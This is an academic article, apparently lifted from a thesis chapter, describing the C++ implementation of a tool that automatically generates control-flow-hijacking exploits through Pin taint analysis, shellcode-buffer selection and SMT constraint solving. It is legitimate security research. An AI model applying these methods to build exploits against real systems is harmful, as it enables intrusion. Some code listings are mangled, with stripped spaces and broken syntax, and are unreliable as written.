International Journal of Cultural Inheritance & Social Sciences (IJCISS)
Vol. 6 Issue 10, September 2023, ISSN: 2632-7597 Impact Factor: 5.266
Journal Homepage: http://ijciss.com/, Email: journal.ijciss@gmail.com
Double-Blind, Peer Reviewed, Refereed& Open Access International Journal

IMPLEMENTING A SOFTWARE VULNERABILITIES SYSTEM

Esam Mohamed Elwan

Professor of Strategic management and computer management

Head of Information Technology and Human Development Consultant

Al 'Ain University of Science and Technology, U. A. E.

Email: dresamelwan@gmail.com

Abstract

Software bugs that result in memory corruption are a common and dangerous feature of systems developed in certain programming languages. Such bugs are security vulnerabilities if they can be leveraged by an attacker to trigger the execution of malicious code. Determining if such a possibility exists is a time consuming process and requires technical expertise in a number of areas. Often the only way to be sure that a bug is in fact exploitable by an attacker is to build a complete exploit. It is this process that we seek to automate. We present a novel algorithm that integrates data-flow analysis and a decision procedure with the aim of automatically building exploits. The exploits we generate are constructed to hijack the control flow of an application and redirect it to malicious code

Our algorithm is designed to build exploits for three common classes of security vulnerability; stack-based buffer overflows that corrupt a stored instruction pointer, buffer overflows that corrupt a function pointer, and buffer overflows that corrupt the destination address used by instructions that write to memory. For these vulnerability classes we present a system capable of generating functional exploits in the presence of complex arithmetic modification of inputs and arbitrary constraints. Exploits are generated using dynamic data-flow analysis in combination with a decision procedure. To the best of our knowledge the resulting implementation is the first to demonstrate exploit generation using such techniques. We illustrate its effectiveness on a number of benchmarks including a vulnerability in a large, real-world server application.

Keywords: software vulnerabilities, Software bugs, dynamic data-flow analysis

System Implementation

The implementation of the algorithms described in Chapter 3 consists of approximately 7000 lines of C++. This code is logically divided into components that match the system

diagram in Figure 3.1. In this Chapter we will explain the details of our implementation, focusing on the instrumentation and analysis routines that make up the core of the system and the corresponding data structures.

Binary Instrumentation

The implementation of stage 1 of our algorithm is essentially two components that work in tandem to perform instrumentation and run-time analysis. Using the functionality provided by Pin we instrument a variety of events, including thread creation, system calls, and instruction execution. The instrumentation code analyses the events and registers callbacks to the correct run-time processing routines.

Hooking System Calls

All taint analysis algorithms require some method to seed an initial pool of tainted locations. One approach is to hook system calls known to read data that may be potentially tainted by attacker input, e.g. read. Another potential approach is to hook specific library calls, but as previously pointed out [14] this could require one to hook large numbers of library calls instead of a single system call on which they all rely.

To mark memory locations as tainted we hook the relevant system calls and extract their destination locations. Pin allows us to register functions to be called immediately before a system call is executed (PIN AddSyscallEntryFunction) and after it returns (PIN AddSyscallExitFunction). We use this functionality to hook read, recv and recvfrom. When a system call is detected we extract the destination buffer of the function using PIN GetSyscallArgument and store the location. This provides us with the start address for a sequence of tainted memory locations.

When a system call returns we extract its return value using Pin GetSyscallReturn. For the system calls we hook a return value greater than 0 means the call succeeded and data was read in. When the return value is greater than 0 it also indicates exactly how many contiguous bytes from the start address we should consider to be tainted. On a successful system call we first store the data read in, the destination memory location and the file or socket it came from in a DataSource object. The DataSource class is a class we created to allow us to keep track of any input data so that it can be recreated later when building the exploit. It also allows us to determine what input source must be used in order to deliver an exploit to the target program. Once the DataSource object has been stored we mark the range of the destination buffer as tainted.

Once a location has been marked as tainted the instruction level instrumentation code can propagate the taint information through the programs memory and registers.

Hooking Thread Creation and Signals

As well as system calls we insert hooks on thread creation and on signals received from the OS. In multi- threaded applications it is necessary for us to determine when threads are created and destroyed and to identify the currently active thread when calling our analysis routines. Threads do not share registers so a register that is tainted by one thread should not be marked as tainted for any others. When a thread is created we instantiate a new object in our taint analysis engine that represents the taint state of its registers. This object is deleted when the thread is destroyed.

As mentioned in Chapter 3, one of the mechanisms one could potentially use to detect a possible vulnera- bility is by analysing any signals sent to the program. Using the function PIN AddContextChangeFunction we can register a routine to intercept such signals. If the signal is one of SIGKILL, SIGABRT or SIGSEGV we pause the program and attempt to generate an exploit. We eventually decided not to use this mechanism for vulnerability detection as it introduced complications when attempting to determine the exact cause of the signal and hence the vulnerability.

Hooking Instructions for Taint Analysis

In Chapter 3 all of the binary instrumentation is performed by algorithm 3.1. In this section we will elaborate on the methods by which this instrumentation takes place.

Our taint analysis engine provides a low level API through the TaintManager class. This class pro- vides methods for directly marking memory regions and registers as tainted or untainted. To reflect the taint semantics of each x86 instruction at run-time we created another class titled x86Simulator. This class interacts directly with the TaintManager class and provides a higher level API to the rest of our analysis client. For each x86 instruction X the x86Simulator contains functions with names beginning with simulateX e.g. simulateMOV corresponds to the mov instruction. Each of these functions takes arguments specifying the operands of the x86 instruction and computes the set of tainted locations resulting from the instruction and these operands.

For each instruction taint analysis is performed by inserting a callback into the instruction stream to the correct simulate function and provide it with the instructions operands. As Pin does not utilise an IR this requires us to do some extra processing on each instruction

in order to determine the required simulation function and extract the instructions operands.

The x86Simulator class provides a mechanism for taint analysis but to use it we must have a method of analysing individual x86 instruction. Pin allows one to register a function to hook every executed instruction via INS AddInstrumentFunction. We use this function to filter out those instructions we wish to process. For every instruction executed we first determine exactly what instruction it is so we can model its taint semantics. This process is made easier as Pin filters each instruction into one or more categories, e.g. the movsb instruction belongs to the XED CATEGORY STRINGOP category. It also assigns each instruction a unique type, e.g. XED ICLASS MOVSB for the movsb instruction. An example of the code that performs this filtering is shown in Listing 4.1.

This code allows us to determine the type of instruction being executed. The code to process the actual instruction and insert the required callback is encapsulated in the processX86.processX functions.

Inserting Taint Analysis Callbacks

When hooking an instruction the goal is to determine the correct x86Simulator function to register a callback to so that at run-time we can model the taint semantics of the instruction correctly. The code in Listing 4.1 allows us to determine the instruction being executed but each instruction can have different taint semantics depending on the types of its operands. For example, the x86 mov instruction can occur in a number of different forms with the destination and source operands potentially being one of several combinations of memory locations, registers and constants. In order to model the taint semantics of the instruction we must also know the type of each operand as well as the type of the instruction. Listing 4.2 demonstrates the use of the Pin API to extract the required operand information for the mov instruction. The code shown is part of the processX86.processMOV function.

Listing4.1:"Filteringx86instructions"

```
1  UINT32cat=INS_Category(ins);
2
3  switch(cat){
4 caseXED_CATEGORY_STRINGOP:
5 switch(INS_Opcode(ins)){
6 caseXED_ICLASS_MOVSB:
```

```
7 caseXED_ICLASS_MOVSW:
8 caseXED_ICLASS_MOVSD:
9 processX86.processREP_MOV(ins);
10 break;
11 caseXED_ICLASS_STOSB:
12 caseXED_ICLASS_STOSD:
13 caseXED_ICLASS_STOSW:
14 processX86.processSTO(ins);
15 break;
16 default:
17 insHandled=false;
18 break;
19         }
20 break;
21
22 caseXED_CATEGORY_DATAXFER:
23
24         ...
```

Listing4.2:"Determiningtheoperandtypesforamovinstruction"

```
1   if(INS_IsMemoryWrite(ins)){
2 writesM=true;
3   }else{
4 writesR=true;
5   }
6
7 if(INS_IsMemoryRead(ins)){
8 readsM=true;
9   }elseif(INS_OperandIsImmediate(ins,1)){
10 sourceIsImmed=true;
11   }else{
12 readsR=true;
13   }
```

Listing4.3:"Insertingtheanalysisroutinecallbacksforamovinstruction"

```
1 if(writesM){
2 INS_InsertCall(ins,IPOINT_BEFORE,AFUNPTR(&x86Simulator::simMov_RM),
3 IARG_MEMORYWRITE_EA,
4 IARG_MEMORYWRITE_SIZE,
5 IARG_UINT32,INS_RegR(ins,INS_MaxNumRRegs(ins)-1),
6 IARG_INST_PTR,
7 IARG_END);
8   }elseif(writesR){
9 if(readsM)
10
INS_InsertCall(ins,IPOINT_BEFORE,AFUNPTR(&x86Simulator::simMov_MR),...,IAR
G_END);
11 else
12
INS_InsertCall(ins,IPOINT_BEFORE,AFUNPTR(&x86Simulator::simMov_RR),...,IARG
_END);
13   }
```

Once the operand types have been extracted we can determine the correct function in x86Simulator to register as a callback. The x86Simulator class contains a function for every x86 instruction we wish to analyse and for each instruction it contains one or more variants depending on the possible variations in its operand types. For example, a mov instruction takes two operands; ignoring constants it can move data from memory to a register, from a register to a register or from a register to memory. This results in three functions in x86Simulator to handle the mov instruction - simMov MR, simMov RR and simMov RM.

The code in Listing 4.3 is from the function processX86.processMOV. It uses function INS Insert Call to insert a callback to the correct analysis routine depending on the types of the mov instructions operands. Along with the callback function to register, INS InsertCall takes the parameters to pass to this func- tion1. This process is repeated for any x86

instructions we consider to propagate taint information.

Under-approximating the Set of Tainted Locations

Due to time constraints on our implementation we have not created taint simulation functions for all possible x86 instructions. In order to avoid false positives it is therefore necessary to have a default action for all non-simulated instructions. This default action is to untaint all destination operands of the instruction. Pin provides API calls that allow us to access the destination operands of an instruction without considering its exact semantics. By untainting these destinations we ensure that all locations that we consider to be tainted are in fact tainted. We perform a similar process for instructions that modify the EFLAGS register but are not instrumented.

Hooking Instructions to Detect Potential Vulnerabilities

We detect potential vulnerabilities by checking the arguments to certain instructions. For a direct exploit we require the value pointed to by the ESP register at a ret instruction to be tainted or the memory loca- tion/register used by a call instruction. We can extract the value of the ESP using the IARG REG VALUE placeholder provided by Pin and the operands to call instructions can be extracted in the same way as for the taint analysis callbacks.

For an indirect exploit we must check the destination address of the write instruction is tainted, rather than the value at that address. As described in [19], an address to an x86 instruction can have a number of constituent components with the effective address computed as follows2:

Effective address = Displacement + BaseReg + IndexReg * Scale

In order to exploit a write vulnerability we must control one or more of these components. Pin provides functions to extract each component of an effective address. e.g. INS OperandMemoryDisplacement, INS OperandMemoryIndexReg and so on. For each instruction that writes to memory we insert a callback to run-time analysis routine that takes these address components as parameters and the value of the write source.

Hooking Instructions to Gather Conditional Constraints

As described in Chapter 3, to gather constraints from conditional instructions we record the operands of instructions that modify the EFLAGS register and then generate constraints on these operands when a conditional jump is encountered. Detecting if an instruction writes to the EFLAGS register is done by checking if the EFLAGS register is in the list of written

registers for the current instruction, e.g. if

Listing4.4:"InsertingacallbackonEFLAGSmodification"

```
1 if (op0Mem && op1Reg) {
2
INS_InsertCall(ins,IPOINT_BEFORE,AFUNPTR(&x86Simulator::updateEflagsInfo_RM)
,
3 IARG_MEMORYREAD_EA,
4 IARG_MEMORYREAD_SIZE,
5 IARG_UINT32,INS_RegR(ins,INS_MaxNumRRegs(ins)-1),
6 IARG_UINT32,eflagsMask,
7 IARG_CONTEXT,
8 IARG_THREAD_ID,
9 IARG_INST_PTR,
10 IARG_END);
11   }
```

Listing4.5: "Insertingcallbacksonaconditionaljump"

```
1 VOID
2processJCC(INSins,JCCTypejccType)
3 {
4 unsignedeflagsMask=extractEflagsMask(ins,true);
5 INS_InsertCall(ins,IPOINT_AFTER,AFUNPTR(&x86Simulator::addJccCondition),
6 IARG_UINT32,eflagsMask,
7 IARG_BOOL,true,
8 IARG_UINT32,jccType,
9 IARG_INST_PTR,
10 IARG_END);
11
12
INS_InsertCall(ins,IPOINT_TAKEN_BRANCH,AFUNPTR(&x86Simulator::addJccCond
ition),
13 IARG_UINT32,eflagsMask,
14 IARG_BOOL,false,
```

```
15 IARG_UINT32,jccType,
16 IARG_INST_PTR,
17 IARG_END);
18  }
```

INS RegWContain(ins, REG EFLAGS) is true. If an instruction does write to the EFLAGS register we can extract from it a bitmask describing those flags written.

Using the same INS Is* functions as shown in Listing 4.2 we determine the types of each operand. Once again this is necessary as we use a different simulation function for each combination of operand types, where an operand type can be a memory location, register or constant. Once the operand types have been discovered we register a callback to the correct run-time routine, passing it the instruction operands and a bitmask describing the bits changed in the EFLAGS register. Listing 4.4 exemplifies how the callback is registered for a two operand instruction where the first operand is a memory location and the second is a register.

On lines 3 and 4 the Pin placeholders to extract the memory location used and its size are used. The register ID is extracted on line 5 and passed as a 32-bit integer. Similarly the bitmask describing the EFLAGS modified is passed as a 32-bit integer on line 6.

Inserting Callbacks to Record Conditions from Conditional Jumps

The above code is used to keep track of the operands on which conditional jumps depend on. To then convert this information to a constraint we need to instrument conditional jumps. Algorithm 3.1 in Chapter 3 we described the process of instrumenting a conditional jump instruction. We insert two callbacks for each conditional jump. One on the path resulting from a true condition and one on the path resulting from a false condition.

Listing4.6:"Simulatingamovinstruction"

```
1  VOID
2
x86Simulator::simMov_MR(UINT32regId,ADDRINTmemR,ADDRINTmemRSize,THR
EADIDid,ADDRINTpc)
3  {
4        SourceInfosi;
5
6        //Ifthesourcelocationisnottaintedthenuntaintthedestination
```

```
7       if(!tmgr.isMemLocTainted(memR,memRSize)){
8           tmgr.unTaintReg(regId,id);
9           return;
10      }
11
12      //Settheinformationonthesourceoperand
13      si.type=MEMORY;
14      //Themovinstructionreadsfromaddressmem R
15      si.loc.addr=memR;
16
17      vector<SourceInfo>sources;
18      sources.push_back(si);
19
20      TaintInfoPtrtiPtr=tmgr.createNewTaintInfo(sources,(unsigned)memRSize,
21              DIR_COPY,X_ASSIGN,0);
22      tmgr.updateTaintInfoR(regId,tiPtr,id);
23  }
```

Listing 4.5 shows the code used to perform this instrumentation. The function that is registered as a callback is the same for both paths but a flag is passed as the second argument that indicates the truth of the condition. We also pass a bitmask describing the EFLAGS that are checked by the conditional jump to determine its outcome. At run-time we can then construct a condition using the operands that last set the EFLAGS read by the condition, the jump type and the parameter indicating the truth of the condition.

Run-time Analysis

The second part of stage 1 of our algorithm consists of run-time analysis. The analysis functions executed at run-time are exactly those that are registered as callbacks during binary instrumentation. These are functions to perform taint analysis, gather constraints from conditional instructions and check the integrity of pointers before they are moved into the EIP register.

Taint Analysis

There are two main classes responsible for performing taint analysis. The low-level management of tainted memory locations and registers is handled by the TaintManager

class. As well as the previously mentioned functionality it is also responsible for updating the taint lattice values associated with memory locations and registers and converting instructions to symbolic formulae as described in Chapter 3. The other important class at this stage is the x86Simulator. As described in the previous section, this object provides an abstraction layer above the Taint Manager class by encoding the taint semantics of a given x86 instruction in calls to the Taint Manager API.

Tainting a memory location begins with the execution of a function in the x86Simulator class. Listing

4.6 provides an example of such a function. A callback to the function x86Simulator.simMov MR would have been registered during the binary instrumentation phase of a mov instruction that moves data from a memory location to a register. This function is passed the source and destination operands as arguments, as well as the size of the memory location read. The purpose of the function is to use the TaintManager to implement the taint analysis functions described in Chapter 3.

Listing4.7:"ThevariablesdefinedinaTaintByteobject"

```
1  classTaintByte{
2      //AuniqueidentifierforthisTaintByteintheconstraintformula
3      intid;
4      //ThisvariableisonlysetifthisTaintBytewascreatedasadirect
5      //resultofahookedsystemcall.AllotherTaintBytescantrace
6      //backtotheirdatasource(s)byrecursivelyiteratingthroughtheirparents
7      boolisDataSourceFlag;
8      DataSource*dataSource;
9      //AcountofthenumberofTaintBytesthatreferencethis
10     //TaintByteasasource.Ifthisis0thentheTaintBytecan
11     //safelybedeletedwhenitisnolongerassociatedwitha
12     //memoryaddress
13     intrefCount;
14     //Thesymbolicrelationshipbetweenthesourcesandthedestination
15     //e.g.foranaddinstructionthiswouldbeX_ADDwhereasforamov
16     //instructionitisX_ASSIGN
17     RelationsourceRelation;
```

```
18      //Onebytemaybetaintedasaresultoftheinteractionsofseveralsourcebytes
19      //Whendeterminingtheconstraintstosolvethistreeofsourceswillbetraversed
20      vector<TaintBytePtr>sources;
21      //ThisvariabledenotesthepositionoftheTaintByteintheconstraintcomplexity
22      //lattice
23      CCLValueccIVal;
24
25      ...
```

The function first checks if the memory location read (memR) is tainted. If not then the destina- tion location is untainted and processing ends for the instruction (lines 7-10). As described in Chapter 3, each destination operand can have its value computed from more than one source operand, hence we use a vector to describe the sources (line 17). We then create a new object representing the destina- tion operand. This Taint In foPtr contains unique IDs for all destination bytes as required by our taint analysis algorithms. Creating the objects to represent the destination bytes is abstracted by the function Taint Manager.create New Taint Info. This function also ensures the taint lattice position of the desti - nation is correctly computed. The parameter DIR COPY indicates the taint lattice position of the instruction as a direct copy. The parameter X ASSIGN is used to indicate the relationship between the destination and source operands; it is used to create the symbolic formula for the instruction. Finally, this object is associated with the register written using the Taint Manager.update Taint Info R function.

The function Taint Manager.create New Taint Info contains the code to create objects representing a destination byte, assign it a unique ID, compute its taint lattice position and store the symbolic relationship between the destination operand and its sources. For every new destination operand we create an object of type Taint Byte. The variables defined in this class are shown in Listing 4.7.

Each of these Taint Byte objects is identified by a unique ID that can be used when constructing the path condition. A Taint Byte object is used to represent any byte that we perform taint analysis on and is the class type associated with the arrays of destination and source operands used in Chapter 3 e.g. the array insdsts is an array of Taint Byte objects in the implementation. The data members of the class are sufficient to allow us to apply the path condition building algorithms as described in Chapter 3 given an initial Taint Byte.

Gathering Conditional Constraints

During the binary instrumentation phase we insert callbacks to functions designed to store the Taint Byte objects involved in modifying elements of the EFLAGS register. Internally we represent this information as a vector of 32 Eflags Operands structures, with each index in the vector identifying a particular EFLAGS.

Listing4.8:"AstructureforstoringtheoperandsinvolvedinmodifyingtheEFLAGS"

```
1  structEflagsOperands{
2        OpTypetype0;
3        TaintDwordPtrtdPtr0;
4        unsignedimmed0;
5
6        OpTypetype1;
7        TaintDwordPtrtdPtr1;
8        unsignedimmed1;
9  };
```

Listing4.9:"UpdatingtheoperandsassociatedwithEFLAGSindices"

```
1  VOID
2
x86Simulator::setEflagsOperands(EflagsOperandsPtrefo,UINT32eflagsMask,ADDRINTpc
)
3  {
4        //Onlythefirst16flagsarecurrenlyofinteresttous
5        for(inti=0;i<16&&eflagsMask>0;i++,eflagsMask>>=1){
6           if(eflagsMask&1)
7              eflagsOperands[i]=efo;
8        }
9  }
```

register index.

The EflagsOperands structure is shown in Listing 4.8. In the current implementation we support instructions with at most two operands which is sufficient to capture most cases. The run-time functions such as x86Simulator.updateEflagsInfo MR parse the operands to a

given instruction and build one of these structures. As shown in the structure, we treat the operands as either a tainted value up to dword size (a vector of 4 TaintByte objects) or a constant value. The structure is then stored in a global vector at the indices of the EFLAGS register modified by the x86 instruction being analysed. This is illustrated in Listing 4.9.

When a conditional jump is encountered the function addJccCondition is executed. The purpose of this function is to add a conditional constraint to a global store if the conditional jump is dependent on tainted data. Any conditional jump reads a subset of the EFLAGS register and thus we can simply retrieve the EflagsOperands structures associated with these indices as stored in the previous step. We store the EflagsOperands structure, a boolean variable indicating whether the condition was negated or not and a variable indicating the type of the condition. This is sufficient information to create a conditional constraint on the tainted bytes when later building the path condition.

Integrity Checking of Stored Instruction and Function Pointers

During the binary instrumentation phase we also register callbacks to functions to check for potential vul- nerabilities. The first of these we will discuss is integrity checking on the value about to be put in the EIP register by a ret or call instruction. Checking whether a memory location or register is tainted or not is trivial using our TaintManager class.

For example, Listing 4.10 demonstrates the process for a ret instruction. We pass the analysis function the current ESP value and then execute the loop shown to determine if any of the bytes at that address are tainted.

If we discover the memory location or register is tainted we can retrieve the TaintByte objects associated with that location and begin exploit generation.

Listing4.10:"CheckingifthevalueatESPistaintedforaretinstruction"

```
1  for(inti=0;i<DWORD_SIZE;i++){
2      if(tmgr.isMemLocTainted(espVal+i)){
3          cout<<"[!]Byte"<<i<<"ofstoredEIPistainted"<<endl;
4      }else
5      allTainted=false;
6  }
```

Integrity Checking for Write Instructions

To check for exploitable write instructions we take a similar approach. As mentioned previously, to exploit a write instruction we require that the address of the destination be

tainted and the value of the source. Therefore for an instruction like mov DWORD PTR [eax], ebx we must check that the value in eax is tainted, not the value at the address eax points to, and also that the value in ebx is tainted.

During the binary instrumentation phase we extract the memory locations or registers that make up the destination address and the source value. These are then passed to a run-time analysis routine that queries the Taint Manager object to determine if these locations are tainted, i.e. using the isMemLocTainted isReg Log Tainted functions. We attempt to generate an exploit if the destination address and source value are tainted. In some cases an exploit may be possible without direct control of the source value but we do not consider such cases in this work. The additional problems involved in considering such cases are discussed in section 6.4 Write-N-Bytes-Anywhere.

In Chapter 3 we mentioned that the analysis stage for an indirect exploit must take place at the point where instruction would be transferred to our shell code not at the corrupted write instruction. To do this the destination address of the write instruction must be modified to avoid a crash and to reflect the conditions that will exist when the actual exploit is used as input. We modify the write destination to be the start of the.dtors section plus 4. If an exploit is successfully generated this is the location it would write the shellcode address to in order to hijack the EIP.

Exploit Generation

In order to build the exploit formula we must process the information gathered during run-time analysis. The implementation effort at this stage is primarily in finding suitable shellcode buffers, determining the required bytes to change for EIP control and building the path condition for the required bytes. We will explain some of the more involved algorithms in this section.

This part of our system is designed to build a formula as described in Chapter 3 that encapsulates the conditions required for an input to be an exploit. To build such a formula we are essentially discovering what bytes need to be changed, building their path condition and then appending on a constraint specifying the value we wish them to have. This process is performed for the bytes that make up the shellcode location as well as the bytes we modify to hijack the EIP.

Using the TaintManager class we can retrieve the TaintByte objects associated with any locations determined to be tainted. For a direct exploit we retrieve the TaintByte objects

associated with the location pointed to by the ESP register (stored instruction pointer overflow) or those associated with the argument to a call instruction (function pointer overflow). For an indirect exploit we extract the TaintByte objects associated with the write destination address and the source value. The correct locations are passed to our analysis routines during the binary instrumentation phase so that at run-time we can simply use the getTaintByte function of the TaintManager class. If the return value is not NULL then the location is tainted.

In Chapter 3 algorithms to build the path condition (algorithm 3.6) and find potential shellcode buffers (algorithm 3.10) were described. We will now explain some of the more important implementation details behind these algorithms.

Listing4.11:"Constructingasetofshellcodebuffers"

```
1  multiset<unsigned>::iteratoriter=taintedMemLocs.begin();
2
3  for(;iter!=taintedMemLocs.end();iter++){
4      if(*iter>lastAddrProcessed+1){
5          taintBuffers.insert(currTaintBuffer);
6          currTaintBuffer=TaintBuffer();
7      }
8      currTaintBuffer.addAddress(*iter);
9
10     TaintBytePtrtbPtr=tmgr.getTaintByteM(*iter);
11     cclVal=latticeMeet(currTaintBuffer.getCCLVal(),tbPtr->getCCLVal());
12     //updatetheTaintBufferlatticeinfo
13     currTaintBuffer.setCCLVal(cclVal);
14
15     lastAddrProcessed=*iter;
16 }
17 taintBuffers.insert(currTaintBuffer);
```

Shell code and Register Trampolines

In order to generate an exploit we need both shellcode to run and the addresses of any potentially suitable register trampolines. The Metasploit framework [39] contains a collection of useful shellcode as well as tools for extracting register trampoline addresses

from a binary. We allow our tool to select from multiple shellcodes. This is done through an interface to an object (ShellcodeManager) that stores the available shellcodes and relevant information, such as their length. As a result we can generate multiple formulae per exploit using different shellcode for each formula.

We store shellcodes in a variety of encodings in order to avoid common input filters. For example, we require shellcode with no NULL bytes in order to exploit most vulnerabilities resulting from string copying or concatenation. Another common requirements is alphanumeric shellcode in which all bytes represent an ASCII encoded alphanumeric character.

As described in Chapter 2, a register trampoline is an address at a static location used to indirectly redirect execution flow into a shellcode buffer. On Windows, Linux or OS X the addresses occupied by application code are not randomised and therefore the application itself is often a source of usable trampolines. The Metasploit framework comes with a tool, msfelfscan, that can extract the addresses of register trampolines when provided with a binary application. We supply this list of addresses to our tool via a configuration file.

Locating Potential Shellcode Buffers

From the TaintManager class we can retrieve an ordered list of all tainted memory locations. We must then parse these memory locations into sets of contiguous tainted bytes and order them by the infimum of the lattice positions of the constituent bytes in the buffer. Algorithm 3.10 describes how to do this using the memory locations stored in registers as a starting point. The code in Listing 4.11 demonstrates how to do this over all tainted memory locations and is thus also usable in situations where a register trampoline is not necessary.

In our system a TaintBuffer object is used to represent a set of contiguous tainted memory locations. Associated with it is a set of addresses and a value representing its constraint complexity lattice position (the CCLVal variable in the above code). The less-than operator of the TaintBuffer class is dependent on the CCLVal variable. Thus a multiset as shown in the Listing 4.11 will be ordered on this parameter with those TaintBuffer objects with the least complex associated constraints occurring at the beginning of the multiset.

The algorithm iterates over all tainted memory locations and every time two locations are not contiguous it stores the old TaintBuffer and creates a new one (lines 4-7). One lines 11-13 the CCLVal variable of the object are updated based on the meet of its current value and

the CCLVal variable of the byte about to be added to the buffer.

Once the set of all possible shellcode buffers has been built we can iterate over the registers and find those shellcode buffers that are reachable via a register trampoline. We also process the list to discover any shellcode buffers located in memory regions with non-randomised addresses. To determine a suitable buffer for a given shellcode we iterate over the TaintBuffer objects and use the first buffer of sufficient size. This will also be the buffer with the least complex constraints out of those that are sufficiently large to hold the shellcode. This is due to the ordering imposed on the set in Listing 4.11. As mentioned earlier, our algorithms will use buffers reachable via a register trampoline where possible and fall back to buffers located in static memory locations.

Using Non-Randomised Locations as Shell code Buffers

On some operating systems the addresses used for certain memory regions are not randomised. When generating exploits on such systems we can avoid the use of a register trampoline if a shellcode buffer exists in one of these non-randomised regions. The primary advantage of such a shellcode buffer is we are not limited to placing our shellcode at the location pointed to by a register. We can place our shellcode at any location in the buffer as long as sufficient space exists between the start index and the end of the buffer. Our implementation supports this feature although it will prioritise locations reachable via a register trampoline for portability reasons.

Controlling the EIP

Controlling the EIP requires to stages. First, using the TaintManager class we retrieve the TaintByte objects related to the memory locations and/or addresses we need to control. We then generate a formula to constrain the IDs of these objects as required by the exploit type. This process is described in algorithms 3.12 (direct exploit) and 3.13 (indirect exploit). The core of both of these algorithms is building a formula that constrains the value of a byte and adding this constraint to the current formula. Abstractly this was done using the functions createEqualityFormula and createConjunct. In our implementation this functionality is primarily encapsulated in the SmtLibFormula object. The addFormula function encodes a given clause in SMT-LIB format and adds it to the formula. If we specify the assignment operator (X ASSIGN), a unique ID and a bit-vector value the SmtLibFormat object will store the corresponding SMT-LIB formatted clause. Listing 4.12 shows the function to constrain the EIP value for a direct exploit. It essentially follows the

same process as described in algorithm 3.12. The CrashInfo object that is passed as a parameter contains the register ID or memory location that must be modified, i.e. the mEIP value, while the newEip parameter

is the address we wish to redirect execution to, i.e. ι.

The function addDirectEIPOverwriteFormula iterates over the four bytes of the value we wish to constrain and adds the required clause to the SMT formula (line 23).

In order to perform a similar task for a direct exploit we must first do some pre-processing on the destination operand. When generating a direct exploit we want to modify the destination address not the value at that address. The problem we are presented with is that the destination address can be constructed from a combination of registers, memory addresses and constants to get the resulting effective address. The formula for this was presented in section 4.1.4.

When describing algorithm 3.13 we mentioned that the variable provided to represent the destination address was equivalent to a sub-formula describing the computation of that address. First, let us recall how an effective address is calculated:

Effective address = Displacement + BaseReg + IndexReg * Scale

The variable passed to algorithm 3.13 represents the above computation. If any of the right-hand-side operands are tainted they are replaced with the variable IDs representing the correct TaintByte objects. We then create four new 8-bit variables and a 32-bit variable equal to the concatenation these 8-bit variables. That address clause is assigned to this 32-bit variable. Algorithm 3.13 can then take this 32-bit variable as

Listing4.12:"GainingcontroloftheEIPforadirectexploit"

```
1 void
2 Taint Data Processor::add Direct EIP Overwrite Formula
(CrashInfoci,unsignedcharnewEip[],
3 Smt Lib Format&smt Formula)
4{
5 Taint Byte Ptrtb Ptr;
6
7 for(inti=0;i<DWORD_SIZE;i++){
8 Taint Byte PtrtbPtr;
9
```

```
10 //Dependingonthetypeofdirectexploitwewillwanttoconstraina
11 //differentlocation.Forastoredinstructionpointeroverwriteit
12 //willbethevalueatESPwhereasforafunctionpointeroverwriteit
13 //willeitherbearegisterorsomememorylocation.
14
15 if(ci.reason==TAINTED_RET){
16 tbPtr=tmgr.getTaintByteM(ci.taintSource.espVal+i);
17 (elseif(ci.reason==TAINTED_CALL_REG))
18 tb Ptr=tmgr.getTaintByteR(ci.taintSource.taintedRegId,i,ci.threadId);
19 ( elseif( ci.reason=TAINTED_CALL_MEM))
20 tbPtr=tmgr.get Taint Byte M(ci.taint Source. Tainted MemLoc+i);
21          }
22
23 smt Formula.add Formula( Smt Lib format::encodeRelation(X_ASSIGN),
24 tbPtr->getId(),Smt Lib Format::bit Vector Of_C( new Eip[i]))
25      }
26   }
```

the destination argument and any formulae that are generated on it will be directly related to the components of the effective address.

Conflicts Between the EIP Control and Shell code Formulae

In some situations one encounters a shell code buffer that appears to be a suitable location for shellcode but when used results in an unsatisfiable formula. Often the cause of this problem is that the buffer overlaps with a memory region we must constrain to control the EIP, e.g. a stored instruction pointer on the stack. In our implementation we attempt to detect these situations before a formula is generated by noting when we try to constrain an input variable more than once. In such cases we attempt to use a different shellcode buffer. If another buffer is reachable via a trampoline then this will be tried, otherwise we will attempt to use buffers at non-randomised locations. As mentioned, our shellcode does not need to start at the beginning of such a buffer so in cases where the conflict persists we try to incrementally move the starting location of the shellcode within the buffer until the conflict is avoided or there is no longer enough room left in the buffer.

Constructing the Path Condition

At the core of our exploit generation algorithm is the functionality to take a memory address or register and construct the path condition for that location. This algorithm was initial presented at a high level as algorithm 3.7. The path condition must be built for all memory addresses used in shellcode as well as for the memory locations and/or registers that must be modified to gain control of the EIP in both a direct and indirect exploit. We build the path condition at the byte level of granularity, using byte concatenation when necessary to express operations on locations of a larger size.

We begin the process by retrieving the Taint Byte object associated with the given location. As shown in Listing 4.7 this object contains references to a vector of TaintByte objects from which it was derived. It also contains the relationship between these objects to give the current Taint Byte, e.g. when analyzing.

Listing4.13:"Recursivelybuildingthepathcondition"

```
1   if (!currTb->isDataSource()) {
2       // Update the list of variables in the formula
3       smtFormula.addNewVar(currTb->getId(), "n", SMT_BV);
4
5       //Iterateoverallpossiblesourcerelationsandencode
6       if(currTb->getSourceRelation()==X_ASSIGN){
7           TaintBytePtrsourceTb=currTb->getSource(0);
8           //BuildthepathconditionforthesourceTaintByte
9           buildPathCondition(sourceTb,smtFormula);
10
11          smtFormula.addAssume(SmtLibFormat::encodeRelation(X_ASSIGN),
12                  currTb->getId(),sourceTb->getId());
13
14          ...
15
16      }elseif(currTb->getSourceRelation()==X_ADD){
17
18          ...
19
20      }elseif(...){
```

```
21          ...
22
23      }
24  }else{
25      //Updatethelistofvariablesintheformula(iforinputvariable)
26      smtFormula.addNewVar(currTb->getId(),"i",SMT_BV);
27      //Thisdatasourcewillbeusedtodelivertheexploit
28      dataSourcesSeen.insert(currTb->getDataSource());
29  }
```

Listing4.14:"Encodingconditionaljumpinstructions"

```
1   EncodedJcc
2   SmtLibFormat::encodeJcc(JCCTypejccType,boolnegated)
3   {
4       EncodedJccejcc;
5
6       switch(jccType){
7           caseJCC_JZ:
8               if(negated){
9                   ejcc.prefix="(not(=";
10                  ejcc.suffix="))";
11              }else{
12                  ejcc.prefix="(=";
13                  ejcc.suffix=")";
14              }
15              break
16
17          ...
18
19  }
```

the expression add x, y a new TaintByte object would have been created that references x and y as its sources and the value X ADD would be stored as its sourceRelation variable. The buildPathCondition function recursively traverses the sources of a TaintByte until a

TaintByte is reached that has the isDataSource property set to true. Such a TaintByte was created as a direct result of user input and can thus be controlled by our exploit.

